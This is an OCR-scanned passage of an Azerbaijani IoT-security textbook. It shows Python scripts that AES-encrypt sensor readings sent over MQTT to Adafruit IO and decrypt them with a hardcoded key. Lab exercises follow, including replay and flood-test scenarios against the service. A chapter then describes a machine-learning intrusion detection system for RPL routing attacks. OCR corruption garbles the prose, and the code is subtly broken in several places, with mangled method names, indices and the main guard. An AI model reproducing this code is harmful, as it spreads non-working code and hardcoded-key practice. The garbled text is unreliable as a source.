o cipher = AES.new(key, AES.MODE EAX)

. ciphertext, tag =
cipher.encrypt and digest(plaintext.encode())

. payload = cipher.nonce + tag + ciphertext

D return base64.b64encode (payload) .decode ()

e # MQTT baglantisi qur

¢ client = mgtt.Client()

e client.username pw_set (ADAFRUIT IO USERNAME,
ADAFRUIT_ IO KEY)

e client.tls_set()

e client.connect("io.adafruit.com", 8883, 60)

e # Periodik sifreli mesaj gondsrisi

e try:

. print ("AES sifrsli mesajlar gondsrilir (10 saniysdsn
bir)...")

° i=0

. while True:

. temperature = 25.5 + i * 0.1

) plaintext = f"temperature={temperature:.1lf}"

. encrypted = encrypt payload(plaintext, key)

o topic = f"{ADAFRUIT_IO_USERNAME}/feeds/{FEED_NAME}"

. result = client.publish(topic, encrypted)

D print (f" Gondsrildi: {plaintext} - (base64)
{encrypted[:20]}... [status: {result.rc}]")

o i+=1

D time.sleep(10)

o except KeyboardInterrupt:

) print ("\n Goénderis dayandirildi.")

D client.disconnect ()

Bu zaman kanal TLS ilo qorunur, eyni zamanda malumatin mozmunu yalniz
acar1 bilon sistemlor torofindon desifro edilo bilor (aes_decrypt.py):

e import base64
¢ from Crypto.Cipher import AES

e # Eyni agar - gondesrici ils eyni olmalidar
e key = b"lébayrligsirrifa"

e # Desifrs funksiyasi
e def decrypt payload(payload b64, key):
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data = base64.b64decode (payload b64) # base64 - bytes
nonce = data[:16]

tag = data[l16:32]

ciphertext = data[32:]

cipher = AES.new(key, AES.MODE EAX, nonce=nonce)
plaintext = cipher.decrypt and verify(ciphertext, tag)
return plaintext.decode ()

# Test giris
if name == "_main_ ":
encoded = input(" Base64 ils golsn sifrsli mesaji daxil
et:\n> ")
try:
decrypted = decrypt payload(encoded, key)
print (" Desifrs olunmus melumat:", decrypted)
except Exception as e:

print (" Desifrs mimkin olmadi:", e)

Devices Feeds Dashboards Actions Power-Ups

aganbayev / Dashboards / SensorMonitor

2025/04/13 07:12:27PH Default

temp

DvocOPPEIWGBE2axUVWE F420ae3SnTF8h§ 7351
2025/84/13 07:12:37PH Default

temp
yohzlyydFzdsACBeFYXKk3UGNUSPwohwuQ0045)
2025/04/13 07:12:47PN Default

temp
/paYadlhcwBaBxavg07yhTsuj+AZwi7C2C2/611

jlar géndarilir (10 saniyadan bir)...

Gondarildi: temperature=25.5 - (base64) DvocOPpE1 b g
Gondarildi: ) PEIWGBE2axUVHE. .. [status: 0]

Gondarildi:

temperature=25.6 - (base64) yoAzNyydFzdsAC6eFYXk... [status: 0]
temperature=25.7 - (base64) /pnYadHhcw6d8x4wg07y... [status: 0]

E f k bs$ python3 adafruit_sender_aes.py

Sakil 5.10. AES ils sifralonmis malumat
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v' Notica

Bu praktiki hisso oxucuya MQTT protokolu lizorindon real zamanli tohliikosiz
molumat Gtiirtilmasi prosesini, TLS sifrolomasinin effektivliyini, autentifikasiyanin
ohomiyyatini, sifroloms tatbiglorini vo hiicum ssenariloring qarsi davranist gostorir.
Adafruit IO kimi sads bulud platformasi izorinds bu testlor real diinya simulyasiyasi
kimi xidmot edir.

v' Tapsiriglar

e Wireshark miisahidesi: TLS ilo vo TLS-siz MQTT baglantilarin1 miiqayise edin. TLS-siz
baglantida molumatin agiq gorlindiiyiinii, TLS il iso sifrolondiyini geyd edin.

e API acar ilo autentifikasiya testi: Python skriptinde API agarini yanlis doyarls avoz edin
va Adafruit [O-nun bu baglantini neco rodd etdiyini miisahids edin.

e Replay hiicumu simulyasiyast: Ovvallor gondorilmis eyni base64 mesaj1 bir ne¢s dofo
yenidon gondorin. Dashboard-un davranigini vo mesajin qabul olunub-olunmamasini
misahido edin.

e AES decryptor totbiqi: AES ilo sifrolonmis mesajlar1 desifro edon decryptor.py adli Python
skripti yazin va real mesajlar iizorindos sinaqdan kecirin.

e Olavo sensor feed-lori yaradin: humidity, light, pressure kimi yeni feed-lor yaradaraq
dashboard-u genislondirin. Har biri {i¢iin ayrica blok olava edin.

e API agarmin tohliikosiz saxlanmasi: .env fayli yaradin vo API agarini1 orada saxlayaraq
Python programinda dotenv modulu ilo oxuyun.

e Dashboard vizualizasiyasini tokmillosdirin: Miixtolif feed-lordon alinan molumatlar1 line
chart, gauge vo histogram formatinda forqli bloklarla vizual gostorin.

e AES acarim1 doyisin vo test edin: 16 baytliq agar1 32 baytliq (AES-256) ilo ovoz edin vo
hom sifroloma, hom do desifro proseslorinin islokliyini yoxlayn.

e MQTT trafikini forqli portda yonlondirin: TLS baglantisi avozino eyni skripti 1883 portu
ilo TLS-siz sokildos islotdikdo Wireshark trafikindo mesajin neco goriindiiyiinii geyd edin.

e Yiiklonmo (load) testi aparin: Flood hiicumu ssenarisi yaradaraq (saniyado 10 mesaj)
dashboard-un hoddini yoxlayim. Adafruit IO-nun hans1 haddo limit qoydugunu test edin.

e Simmetrik acarla olavo saholorin sifrolonmasi: Malumat paketindo hom temperature, hom
sensor_id, hom do timestamp saholorini birlikdo AES ilo sifroloyin.

e Zaman etiketi ilo saxta mesaj askarlanmasi: Hoddindon artiq gecikmis timestamp ilo mesaj
gondorin vo bu mesajin sistem torofindon neco gobul edildiyini analiz edin.
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6. Osyalarin Interneti (IoT) Tohliikasizliyindo Siini
Intellekt

6.1. Siini Intellektin Mahiyyati va Tahliikasizlikl> Baglantist

Siini intellektin (AI) mahiyyati, ona avvalcodon kodlagdirilmis molumatlar
osasinda tokrarlanan 6yronmo prosesini avtomatlasdirmasidir (Kingori, 2019). Siini
intellektin oksi 1so tobii intellekdir. Tobii intellekt insanlarda vo heyvanlarda
movcuddur vo osason onlarin dyronmo qabiliyyating osaslanir. Insanlarm vo
heyvanlarin tohliikoyo reaksiyasina baxdiqda gérmak olar ki, biz riskli situasiyalari
ovvalcadon miioyyanlogdirib, onlar1 ya aradan qaldirmaga, ya da minimuma
endirmays ¢alisiriq. Masolon, mesads antilop ac bir sirls tizlosdiyi zaman tohliikoni
hiss edir vo gagmaga baslayir. Bu, onun instinktiv reaksiya mexanizmidir. Insan
beyni do oxsar sokildo isloyir.

Texnologiyanin inkisafi noticosindo kompiiterlor vo sistemlor do miioyyon
gorlintiilori vo situasiyalar1 tanimaq li¢lin proqramlagdirila bilor. Masolon, bozi
kameralar insan iizlorini taniyib onlar1 miivafiq verilonlor bazasindaki mslumatlarla
olagolondiro bilir. Bu iso xiisusi proqramlasdirma vo kodlasdirma vasitosilo
mimkiindiir. Kompiiter vo Al sistemlori miioyyon voziyyatlordo neco davranmali
olduglarmi ovvealcodon Gyronir vo proqramlasdirilmis reaksiyalar osasinda qorar
gobul edirlor. Beloliklo, agor siini intellektlo tochiz edilmis bir sistem miioyyon bir
situasiya ilo qarsilagarsa, o, 6z funksiyalarini yerino yetirmok {i¢lin avtomatik olaraq
cavab reaksiyas1 verocokdir. Belo sistemlor ¢evik vo adaptiv oldugu iigiin miixtolif
situasiyalara uygun olaraq qorar gobul edo bilirlor.

Siini intellektin mahiyyati, osason, verilon molumatlar osasinda spesifik
voziyyatlor vo onlarin naticolorini dyronmokdon ibaratdir. XXI osrin inkisaf etmis
Al sistemlori molumat osasinda tokrarlanan dyronmo vo tohlil proseslorini yerino
yetirir. Basqa sozlo, silini intellekt boyiik hocmdo molumati arasdiraraq onlarin
icindoki imumi xiisusiyyatlori ayird edo bilir. Yeni molumatlarla garsilasdigda iso
onlar1 tohlil edorok uygun cavab reaksiyasi yaradir.

Masalan, siini intellektin tibbi diagnostika sahasinds istifadoesino nozar salaq.
Al milyonlarla rentgen goriintiisiinii vo onlara qoyulmus diagnozlar tohlil edorak
yeni goriintiilori analiz edib, onlarin miimkiin naticolorini miioyyon eds bilor. Hor
yeni rentgen goriintiisii sistemo daxil edildikca, Al oavvalki biliklorino osaslanaraq
homin goriintiinii qiymotlondirir vo ehtimal olunan xostaliklori prognozlasdirir.
Bunun naticasinds, Al daha doqiq vo mantiqli tibbi analizlor togdim eds bilir.

Siini intellekt sistemlorino daxil edilon alqoritmlor, keg¢mis tocriibolora
osaslanaraq miioyyon tendensiyalart prognozlasdirmaq vo notico ¢ixarmaq
gabiliyyatino malikdir. Bu iso Al sistemlorino coxlu molumati tohlil edorok miivafiq
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funksionalliglar yaratmaq imkani verir. Siini intellektin effektiv istifadasi {i¢iin
verilonlorin strukturu, tosnifat qaydalart vo sistemin isloma prinsiplori diizgiin
miloyyan edilmalidir. Siini intellekt sistemlari artiq insan ekspertlarinin bels ¢atinlik
¢oka bilocayi doaracads doaqiq analizlor hoyata kegirir.

Bu yanagsma dorin Oyronmonin asasini toskil edir. Darin Oyronmo siini
intellektin funksional soviyyosini insan beynindon daha yiiksok hoddo qaldiran
texnologiyadir. Al-nin basqa bir maraqli torafi iso onun ke¢misde elmin cavab
vermali oldugu "neco?" suallarini bu giin daha genis analiz etmasi vo yeni
yanasmalar togdim etmasidir.

e Siini intellektin kibercinayatkarhqda istifadesi vo onun qarsisinin
alinmasi

Digor torofdon, kibercinayotkarlar da siini intellektdon 6z mogsadlori {igiin
istifado edirlor. Al-nin zororli magsadlarle totbiqi naticasinda sirkatlor saniyolor
icindo milyonlarla moalumati vo tranzaksiyalar1 itira bilor. Belo kiberhiicumlar
toskilatlara ciddi problemlor yaradir vo Al-nin tohliikasizlik sahosindo istifadosini
hom todariikcii, ham do istehlak¢i torafdon riskli edir.

Siini intellektin {i¢ osas soviyyasi kibertohliikosizlikdo birbasa totbiq edilir. Al
algoritmlori "ogor" suallarina cavab vermok ti¢lin yaradilir vo bu, kibertohliikosizlik
sistemloring tohliikolori miioyyon etmok imkani yaradir. Masin Oyronmaosi is9
statisttk modellordon istifado edorok tohliikasizlik problemlorini ovvalcadon
prognozlasdirmaga imkan verir. Dorin Oyronmo texnologiyasi iso forqli masin
Oyronma sistemlorini birlogdirorok kiberhiicumlarin yayilmasimin qarsisini alir.

Al-nin kibertohliikasizlikds totbiq edildiyi asas saholor asagidakilardir:

Spam filtrloma

Firildaqgiliq askarlanmasi

Sobokoyo icazosiz girisin miioyyon edilmasi
Botnet hiicumlarinin agkarlanmasi

Haker hiicumlarinin prognozlasdirilmasi
Kibertohliikasizlik reytinglori

AN e

Spam filtrlori, sistemo daxil olan yeni molumatlar1 analiz edorok lazimsiz
mozmunlar1 avtomatik miioyyanlosdirir. Al sistemlori bu kimi proseslordo spam
mesajlarin mozmununu yoxlayaraq onlarin miivafiq sokilds emal edilmosino imkan
yaradir. Firildaqgiliq askarlanmasi iso siibholi omoliyyatlari miioyyon edir vo
miivafiq todbirlorin goriilmasine sorait yaradir.

Sobokoyo icazosiz giris, botnet hiicumlart vo hakerlor torofindon hoyata
kecirilon kiberhiicumlar da Al-nin totbiq edildiyi saholordondir. Siini intellekt bu
proseslori avtomatik sokildo analiz edir vo real vaxt rejimindo adekvat cavab
todbirlorini icra edir. Bunun noticosindo tohliikesizlik sistemlori daha siirotli vo
effektiv sokilda isloyir, kiberhiicumlarin qarsis1 vaxtinda alinir.
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6.2. Tahliikasizlik Tahdidlori va Siini Intellektin Bunlara Qarst

Miibarizasi

“Tohliikasizlik” genis monali bir anlayigdir. Bu, miisyyan bir texnoloji
sistemo tosir edo bilocok vo onun diizgiin islomosine mane ola bilocok ehtimallar
okeanidir. Buna gora do, siini intellekt (AI) miithiim bir element vo xiisusiyyat olaraq
qiymaotlondirilir. Al sonaye vo ya sirkstlorin bu risklordon vo problemlordon
yayinaraq inkisaf etmosino kdmok etmok iicliin miqyaslana va totbiq oluna bilar.
Kiber tohliikosizlik tohdidlorinin miixtalifliyi siini intellektin tohliikasizlik
mogsadloring nail olmagq iigiin totbiq edilmasina tokan verir.

Siini intellektin tohliikasizlik sahasinda tatbiqi, bu tohdidlorin agkar edilmasi
vo onlarin idara olunmasi iigiin masin dyronmaosini istifado etmoyo imkan verir. Al
kibertohliikasizlik risklorini qiymoatlondirs, onlar1 nozarot altina ala vo ya
mohdudlagdira bilor. Siini intellekt yeni qaydalar vo tonzimlomolors uygunlasaraq
yenilona bilon bir qarar qabul etma sistemi qurur ki, bu da malumat biitovliiyiini vo
tohliikasizliyini tomin edo bilor.

Stini intellekt hamg¢inin cevikdir vo tohliikasizlik kontekstinde miiayyan
hodofloro nail olmagq tigiin yaradilib tokmillosdirilo bilor. Buna goro do, Al daim
inkisaf edon vo daha miirokkob hala golon tohdidlora cavab vermok {i¢iin miihiim bir
vasitadir. Kiber tohliikosizlikds Al standart totbiqdir, ¢iinki tohliikasizlik risklari siini
intellekt torafindon idaro edilir. 10 6lkads 850 IT rohborinin istiraki ilo kecirilon
sorgunun naticolori gostorir ki, onlarin hamisi siini intellektdon istifado edon
kibertohliikosizlik sistemlorine malikdir. Bu noticolor Al-nin tohliikosizlik
tohdidlorini askar etmok vo cavab vermok qabiliyyotini daha da artirdigini
tosdiqloyir.

Bu fakt siini intellektin informasiya sistemlori iigiin osas miidafio monboyi
oldugunu gostorir. Bundan olavo, Al-nin sistemlordo hossasligi artirdigi miioyyon
edilib. Ciinki siini intellekt daim Oyronir vo yenidon Oyronir, lazim goldikdo
miqyaslana vo uygunlasdirila bilor. Risklor artdiqda vo etimad soviyyslori azaldiqda,
Al tohliikesizliyin giiclondirilmosi iigiin on effektiv metodlardan biri kimi qobul
edilir. Siini intellekt biometrik girislor vo digor tohliikosizlik todbirlori ilo
kiberhiicumlar tohlil edib, onlarin garsisin1 almaga komok edo bilor.

Sitini intellekt anormal hallar agkar etmokdo bonzorsizdir. O, zororli
programlart vo potensial tohliikolori sistemo daxil oldugda isarsloys vo bloklaya
bilor. Siini intellekt niimunalori tanimaq vo analiz etmok gabiliyyatino malikdir ki,
bu da kiber tohliikoesizlik problemlorine sads, lakin tosirli hollor togdim edir. Bu o
demokdir ki, hor hansi1 bir hiicum sistemds miioyyon doyisikliklor edildikdon sonra
askar edilo bilor vo onun monbayi siini intellekt vasitosilo izlonilo bilor.

Bununla yanasi, siini intellektin miixtolif monfi tosirlori do ola bilor. Onun
genis totbiqi bazon legitim istifadoni ¢otinlosdirs bilor. Bir ¢ox hallarda, Al ilk dofo
totbiq edildikdo sistemlordo qarisiqliq yarada vo movcud sistemlorin istifadosindo
mioyyon mohdudiyyatloro sobob ola bilor. Bu iso sistemlorin yenidon inkisaf
etdirilmasi {i¢iin olava xorclor yaradir. Siini intellektdon istifado etdikco hakerlor do
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Al-nin zaif noqtalarini taparaq onu tasirsiz hala gotirmak {i¢lin yeni hiicum tisullar
inkisaf etdirirlor.

Bundan slava, Al-nin kiberhiicumlarin avtomatlagdirilmasina sabab olmasi da
mimkiindiir. Siini intellektin movcudlugu kiber cinayotkarlarin hiicumlar1 daha
siiratli vo effektiv sokildo hoyata kecirmasino imkan verir. Beloliklo, Al-nin idars
etdiyi kibertohliikasizlik sistemlori yalniz miivafiq olaraq cavab vers bilon vo
yenilona bilon sistemlor oldugda ugurlu ola bilor. Ogor kibertohliikosizlik sistemlori
miihitdoki real doyisikliklors uygunlasa bilmass, onlar statik qalacaq vo zamanla
effektivliyini itiracak.

Bu sobobdon, Al-nin kiber tohliikesizlikdo rolu giin kecdikco daha da
ohamiyyatli olur. Sirkatlorin siini intellektdon istifade etmasinin zaruriliyini artiran
osas amillor asagidakilardir:

1. Miiasir kiber tohdidlorin artimi
2. Yeni tohliikalorin meydana ¢ixmasi
3. Movcud tohliikalorin xarakterinin doyismasi
Siini intellektin tohliikosizlik sahosindo totbiq edildiyi osas saholor iso
bunlardir:
1. Parol qorunmasi vo autentifikasiya
2. Fising hiicumlariin askar edilmasi va qarsisinin alinmasi
3. Saboka tohliikasizliyi
4. Istifadoci davranislarinin analizi

Bu iso Al-nin sistemlordoki foaliyyatlori izloyo vo avtomatik todbirlor gora
bilon proaktiv bir mexanizmo ¢evrilmoasino sobob olur. Al, homginin, haker
hiicumlarina garsi cavab todbirlorini gliclondiron mexanizmlor yaradir. Onun osas
Ustlinliiyii sistem daxilindo bas veran hadisolori tohlil etmok vo potensial tohliikolori
anlamaq gabiliyyatino malik olmasidir. Bununla da, siini intellekt yalniz hiicumlarin
qarsisin1 alan bir sistem kimi deyil, hom do spesifik tohliikoloro cavab veron va

mioyyon hadisolora uygun todbirlor goron bir tohliikasizlik vasitosi kimi istifado
edilo bilor.

6.3. Tahliikasizlik Magsadlari Uciin Siini Intellektin Tatbigina
Yonolik On Yaxsi Strategiyalar

Bu bolmo siini intellektin (AI) kibertohliikasizlik sistemina inteqrasiyasi vo
optimallasdirilmasi iigiin zoruri olan praktik elementlora vo miilahizolore diqqgot
yetirir. Buraya Al istifadosinin ugur vo ugursuzlugunu miioyyonlosdiron osas
mosalolorin vo istigamatlorin giymatlondirilmosi daxildir. Bir toskilatin Al-don
somaorali sokildo istifads eds bilmasi {igiin ovvalca kibertohliikasizlik strategiyasina
sahib olmasi lazimdir.

Bir strategiya olmadan Al-nin sistemo kor-korans totbiq edilmasi yetorli deyil.
Bunun ovozing, toskilatlar iiclin Al-nin tohliikesizlik magsadlorine uygun totbiq
edilmosi {iciin konkret bir plan olmalidir. Bu plan risk altinda olan rogomsal
aktivlorin tohlili vo homin sistemdo on ¢ox rast golinon risk ndvlorinin miioyyon
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edilmasi ilo baghdir. Naticads, bu strategiya Al-nin kibertohliikasizlik sisteminda
rolu, mogsadlori vo ¢orgivasini formalagdirmalidir. ©ks halda, uygun qoruyucu
tadbirlorin goriilmomasi ugursuzluq ve gerilomoya sabab ola bilor.

Al adaton ¢evik sokilde qurasdirilir. Bu, toskilatlarin miimkiin risklors cavab
vermasind imkan veron infrastrukturun qurulmasi demokdir. Bu infrastruktur
toskilatin proqram vo avadanliq resurslarinin tohliikasizlik bosluqlarina qarsi
miibarizo aparmasina komak edir. Bazi miitoxassislor qeyd edir ki, toskilatin SI-nin
ilkin versiyasini yalniz bir dofs totbiq etmasi yetorli deyil; onu real diinya soraitine
uygun inkisaf etdirmok vo daim yenilomok lazimdir. Kibertohliikosizlik tohdidlori
daim doyisdiyi ticlin Al infrastrukturu da hamin doayisikliklors uygunlagdirilmalidir.
Beloliklo, ilkin totbiq olunacaqg AI sistemi toskilatin kibertohliikosizlik
strategiyasinin  osasin1  togkil edocok vo zamanla ehtiyac yarandiqca
doyisdirilocokdir.

Al-nin kibertohliikosizlikdo istifadasi ilo bagli on vacib mogam onun 24/7
fasilosiz foaliyyat gostormoli olmasit vo problemlora real vaxt rejiminde cavab
vermosidir. Al-nin totbiqi zamami diqqot yetirilmoli olan osas aspektlor
asagidakilardir:

1. Hadisalorin askarlanmasi vo miivafiq reaksiya: Al-nin osas rolu realliga
cevik sokilds cavab vermokdir. Bunun {i¢iin Al-nin totbiqi kibertohliikosizlik
sisteminin movcud plan1 ugursuz olduqda islomoyo davam etmolidir. Bu,
movcud sistemin ¢dko bilocoyi ehtimali nozoro alinaraq ehtiyat
mexanizmlorinin yaradilmasini vo miimkiin doyisiklikloro uygunlagma
soviyyasinin optimallagdirilmasini tolob edir.

2. Tohliikasizlik vo cinayotkarhgin qarsisimin alinmasi: Al-nin istifadosi
kiberhiicumlarin qarsisinin alinmasi1 vo sistemdoki potensial tohliikoli
hadisalorin agkarlanmasi {i¢iin vacibdir. Al tohliikolorin va kibercinayotkarliq
hallarmin profilini mioyyonlogsdirmali vo bu tohdidlorin reallasmasinin
garsisini almaq tclin holl yollar1 toqdim etmolidir. Beloliklo, AI yeni
cinayatlorin vo miimkiin tohliikesizlik pozuntularinin prognozlasdirilmasina
va gabaglayici tadbirlorin goriilmosine komok edir.

3. Moaxfilik Miihafizasi: Al-nin toskilat daxilindo moxfilik gaydalarina riayot
olunmasina komok etmasi asas mosalalordon biridir. Al sisteminin togkilatin
kiberinfrastrukturuna inteqrasiyasi fordi moxfilik pozuntularim1 askar etmok
vo bu kimi hallar bas verdikds, onlara diizgiin reaksiya vermok {i¢iin istifado
olunmalidir.

4. Yaranan Tohliikalorin Tahlili: Al elo qurulmalidir ki, sistem daxilinds bas
veron molumatlart vo tendensiyalar1 tohlil edo bilsin. Bu, tohliikolori
gqabagcadan miioyyon etmok vo onlarin garsisini almagq ii¢iin miihiim vasitadir.

5. Icazasiz Miidaxilolorin Askarlanmasi Sistemlori: Buraya Al-nin icazosiz
miidaxilolori askarlamaq vo miivafiq todbirlor gérmok iiglin proqram
tominatinin  tokmillogdirilmosi  daxildir. Bu sistemlor tohliikosizlik
bosluglarini miioyyan etmok, siizgocdon kegirmok vo Al vasitosilo miimkiin
hiicumlara cavab vermak {i¢iin totbiq olunur.
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Al sistemlari yalniz doqiq miioyyan olunmus plan asasinda tatbiq olunmalidir.
Bu plan sistem sahibinin na aldo etmok istadiyini miioyyon etmolidir. Al-nin
inteqrasiyasi tohliikasizliyi tomin etmok vo proseslori optimallagdirmaq {igiin
miloyyaon qaydalarin vo prosedurlarin yaradilmasina komak edir. Bununla bels, Al-
nin ugurlu totbiqi homginin is¢ilorin test edilmasi vo tolimlondirilmasini talob eds
bilor. Bundan olava, Al sistemlorinin avtomatik islomasine baxmayaraq, bozi
hallarda insan nozarati do vacibdir ki, masinlarin vo Al-nin ¢atismazliglar1 aradan
qaldirilsin.

6.4. Masin Oyranma Texnikalari

Masin  Oyronma texnikalari, hodof sistemdo tosnifat problemlorini
kateqoriyalara ayirmagq li¢lin aciq vo ya gizli bir modelin qurulmasina osaslanir. Bu
yanagmalarin osas xiisusiyyati davranis modelini formalasdirmaq {igiin giiclii
molumat bazasi tomin etmosidir. Molumatlarin togkilatina osason, masin dyronmo
metodlarini {i¢ osas kateqoriyaya bélmok miimkiindiir:

o Nozaratli 6yronma (Supervised Learning): Tolim verilon molumatlar hom
girig xiisusiyyatlorini, hom do ¢ixis gorarlarini ohatos edir.

o Qisman nazarstli 6yronma (Semi-supervised Learning): Tolim verilon
molumatlar yalniz problemin hallini miioyyaon edon xiisusiyyatlori ehtiva edir.

o Nozarotsiz 6yronma (Unsupervised Learning): Giris kimi he¢ bir tolim
molumati verilmodon dyronmo aparilir.

Bir ¢ox hallarda avtomatik 6yronmao prinsiplorinin totbiqi statistik metodlarla
ist-iisto diisiir; osas moqsad, ovvalki naticolor asasinda performansi yaxsilasdiran bir
model qurmaqdir. Beloliklo, 6yronmo alqoritmi, problem haqqinda yeni molumat
oldo etdikco icra strategiyasini doyisdiros bilor.

Baxmayaraq ki, bu xiisusiyyat biitiin situasiyalar {i¢iin colbedici goriina bilar,
bu yanasmanin asas ¢atismazliglart 6yronmo morholosindos yiiksok resurs tolobatina
vo bozon yiiksok sohv nisbotlorino malik olmasidir. Homginin, bu modellor
torofindon qaldirilan xobardarliglarin geyri-miioyyon tobioti do problemlor yarada
bilor.

Avtomatik dyronmo alqoritmloring tosir edon digor amillor do moévcuddur.
Masolon, gorar agaclar1 vo dostok vektor masinlar1 (SVM-lar) ¢ox vaxt "haddindon
artiq Oyronmo" (overfitting) problemindon oziyyot ¢okir. Bu sobabdon,
siniflondiricinin (classifier) performansinin qiymoatlondirilmosi zamani, tolim
molumatlarina asaslanan gostoricilordon istifado edorok ¢ox optimist naticalor oldo
etmok miimkiindiir.

Asagida anomaliya agkarlanmasinda on ¢ox istifado edilon modellor vo
onlarin asas istiinliiklori vo ¢atismazliglar1 togdim olunur (Sakil 6.1).
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Sakil 6.1. Masin oyranma ilo IoT hiicumlarin tayini

Toklif edilon miidaxilonin askarlanmasi ¢orgivasi hibrid Miidaxilonin
Askarlanmasi Sistemi (Intrusion Detection System - IDS) formasinda togdim olunur.
Toklif edilon IDS, 6LoWPAN sixilma basligindan istifado edorok masin 6yronmo
algoritmlori vasitosilo hiicumlar1 Oyronir vo tosniflosdirir. Daha sonra, masin
Oyronmo alqoritmi torofindon yaradilan gayda vo ya imza 6LoWPAN Border Router
(6BR)-o toyin edilir. Zaman keg¢dikco, marsrutlasdirma hiicumlar {i¢iin yeni imzalar
olgatan olduqda, 6BR yeni gayda vo ya imza ilo yenilonir.

Toklif edilon IDS ¢orgivasi li¢ tobaqoaya boliiniir. Birinci toboago, soboka trafiki
molumatlarini toplamagq iigiin Cooja trafik analizatorundan istifado edon askarlama
agentlorindon ibaratdir. Toplanmis molumatlar daha sonra analiz edilir vo ikinci
tobogodo yalniz normal vo anormal soboko faaliyyatlorini ayiran forgli xiisusiyyotlor
cixarilir. Molumatlar normal vo ya zororli (hello flood, wormhole, sinkhole) kimi
tosnif edilir. Toklif edilon IDS ¢oar¢ivasinin Sokil 6.2-ds illiistrasiyasi verilmisdir.

6.4.1. Modul 1: Malumat dastlorinin yaradilmasi

Miixtolif RPL  soboko rabito ssenarilori Cooja  simulyatorunda
modellosdirilmisdir. RPL (Routing Protocol for Low-Power and Lossy Networks),
asagl enerji istehlak edon vo molumat itkilorino hossas sobokolor iigiin
marsrutlasdirma protokoludur. RPL, osason IoT (Osyalarm Interneti), simsiz sensor
sobokolori (WSN) vo 6LoWPAN sobokalorindo istifado olunur. Cooja, Contiki
omoliyyat sistemindon istifado edir. Sobokadoki sensor diiylinlor RPL protokolunu
hoyata keg¢irir. Contiki, simulyasiya olunan sensorlara fordi proqramlarin va
xidmotlorin yiliklonmosino vo bosaldilmasina imkan yaradir. Sokil 6.3 Cooja
istifadog¢i interfeysini gostorir.
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kecirilmisdir.

paket analizatoru
cevrilmisdir.

6lowpan Network Traffic

Data Pre-processing

Data classification

Sakil 6.2. IDS carcivasinin arxitekturast

Bu ssenarilor
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molumat pozuntusu faizlori (10%, 20% vo s.) ilo hiicum ssenarilori hoyata
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6.4.2. Modul 2: Malumatin 6n emah

o Xiisusiyyatlorin ¢ixarilmasi

Paket Tutma (PCAP) fayllar1 vaziyyetlorin simulyasiya edilmasi zamani
yaradilir. Bu molumat fayllarinin CSV fayllarina ¢evrilmosi Wireshark vasitasilo
hayata kecirilir. Magin 0yronmasi alqoritmi, dyronma prosesinda istifads olunacaq
xiisusi xiisusiyyatlorin ¢ixarilmasini talob edir. Malumatin 6n emali marhalasi asas
molumat xiisusiyyastlorini miiosyyon edorak hesablamanin yiikiinii azaltmaq veo
problem yoniimlii xiisusiyyatlori alds etmokdaen ibaratdir.

Hor bir hiicum névi igiin miixtolif topologiyalar vo soboko Olgiilori ilo
simulyasiyalar aparilir. Simulyasiyanin naticosi olaraq xam (RAW) molumat dostlori
oldo edilir. Simulyasiya basa ¢atdigdan sonra Cooja PCAP vo CSV fayllarini ¢ixarir.
Xam molumat fayllar1 dyronmo alqgoritmi iigiin baslangic ndqtesi kimi istifads
olunmagq tigiin ¢ox bdylik hacmdo informasiya ehtiva edir vo sistemds kiiy (noise)
vo haddon artiq uygunlagma (over adaptation) yaradir.

Ssenarilor simulyasiya olunduqdan sonra OCAP fayllar1 yaradilir. Wireshark
bu fayllar1 CSV fayllarina parg¢alamagq {i¢iin istifado olunmusdur. Simulyasiya basa
catdigdan sonra Cooja torofindon PCAP vo CSV fayllar ixrac olunur. Hesablama
yiikiinii azaltmaq vo problem yoniimlii xiisusiyyatlori oldo etmok {i¢lin molumatin
on emal1 marholasi agar xiisusiyyatlorin ¢ixarilmasini ohato edir.

Oyronmo molumatlarindan xiisusiyyatlorin ¢ixarilmas: masin dyronmosi
algoritmlori iigiin vacibdir. Hor bir hiicum névi iiglin topologiyalar vo soboko
Olciilori simulyasiyalarda doyisdirilir. Simulyasiya noticolorindon ilkin molumat
dostlorini aldo etmok miimkiindiir. Digor torofdon, xam molumat fayllar1 dyronmo
prosesindo giris molumati kimi istifado oluna bilmoz, ¢iinki onlar monbo/toyinat
diiylin iinvanlar1 vo paket uzunlugu kimi molumatlar1 ehtiva edir vo bu, sistemo kiiy
vo haddon artiq uygunlasma gotirir.

o Mbilumat ¢cixarma alqoritmi

Giris: pcap fayla
« Soboko trafikindon pcap arqumentlorini oldo et (get);
« Hor paketi oxumagq ti¢iin dovra (loop) gir;
Funksiya
e array « dataset.csv
o Siralanmis array
o Xiisusiyyat cevrilmasi (Feature conversion)
Xiisusiyyatlorin ¢ixarilmasi:
e 5000ms < Poncoro Olciisii
« Poncoro 6l¢iisii daxilindos xiisusiyyot doyarlorinin hesablanmasi
o Mbolumat doastinos etiketlorin olave olunmasi (Labeling the dataset)
Son
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Xam molumatlart analiz edorok hom komiyyot, hom do keyfiyyot
xiisusiyyatlorini gormok miimkiindiir. Lakin, 0yronma ii¢iin istifads olunan alqoritm
yalniz adadi dayarlari gobul edir. Toyinat Reklam Obyekti (DAO) RPL-ds istifads
olunur ki, yronma toyinatinin yalniz bir dofs istifads olundugunu tomin etsin, ¢iinki
valideynlor ovvaldon se¢ilmisdir. Istiqgamotlondirilmis Dévri Qraf Molumat Obyekti
(DIO) mesaj1 RPL dilinds an vacib mesaj noviidiir. O, asas diiyiin vasitasilo on yaxsi
marsrutu miloyyan etmak {i¢iin masafa vo ya geri sayim kimi spesifik dlgiilori toyin
edir. Digor bir mesaj novii DIS adlanir vo diiyiinlorin sobokoya qosulmasi {i¢lin
istifado edilir. Dilyiinlorin togokkiir etmok ii¢iin istifado eds bilocoyi mesaj novii iso
"ack" adlanir. Molumat dostimiz homg¢inin Protokol Molumat Bloku (PDU) vo
Protokol Molumat Bloku (UDP) paketlorini ohato edir ki, bunlar real diinyadaki
molumat paketlorino bonzoyir.Cixarilan xiisusiyyatlor Codval 6.1-do gostorilmisdir.

Cadval 6.1. Cixarilan xiisusiyyatlor

Ne | Qisaltma Aciglama

1 | Num Paket sira ndmrosi

2 | Time Simulyasiya vaxti

3 | Src IP monbo diiyiinii

4 | Des IP toyinat diiylinii

5 |RT Otiirmo siirati

6 | RR Qabul etma siirati

7 |ATT Orta Otlirma vaxti

8 | ART Orta gobul vaxti

9 |PTC Otiiriilon paket say1
10 | PRC Qobul edilon paket say1
11| TTT Umumi 8tiirmo vaxti
12 | TRT Umumi gobul vaxti
13 | DIO DIO paket say1

14 | DAO DAO paket say1

15 | DIS DIS paket say1

16 | Tag Zoarorli/Normal etiket

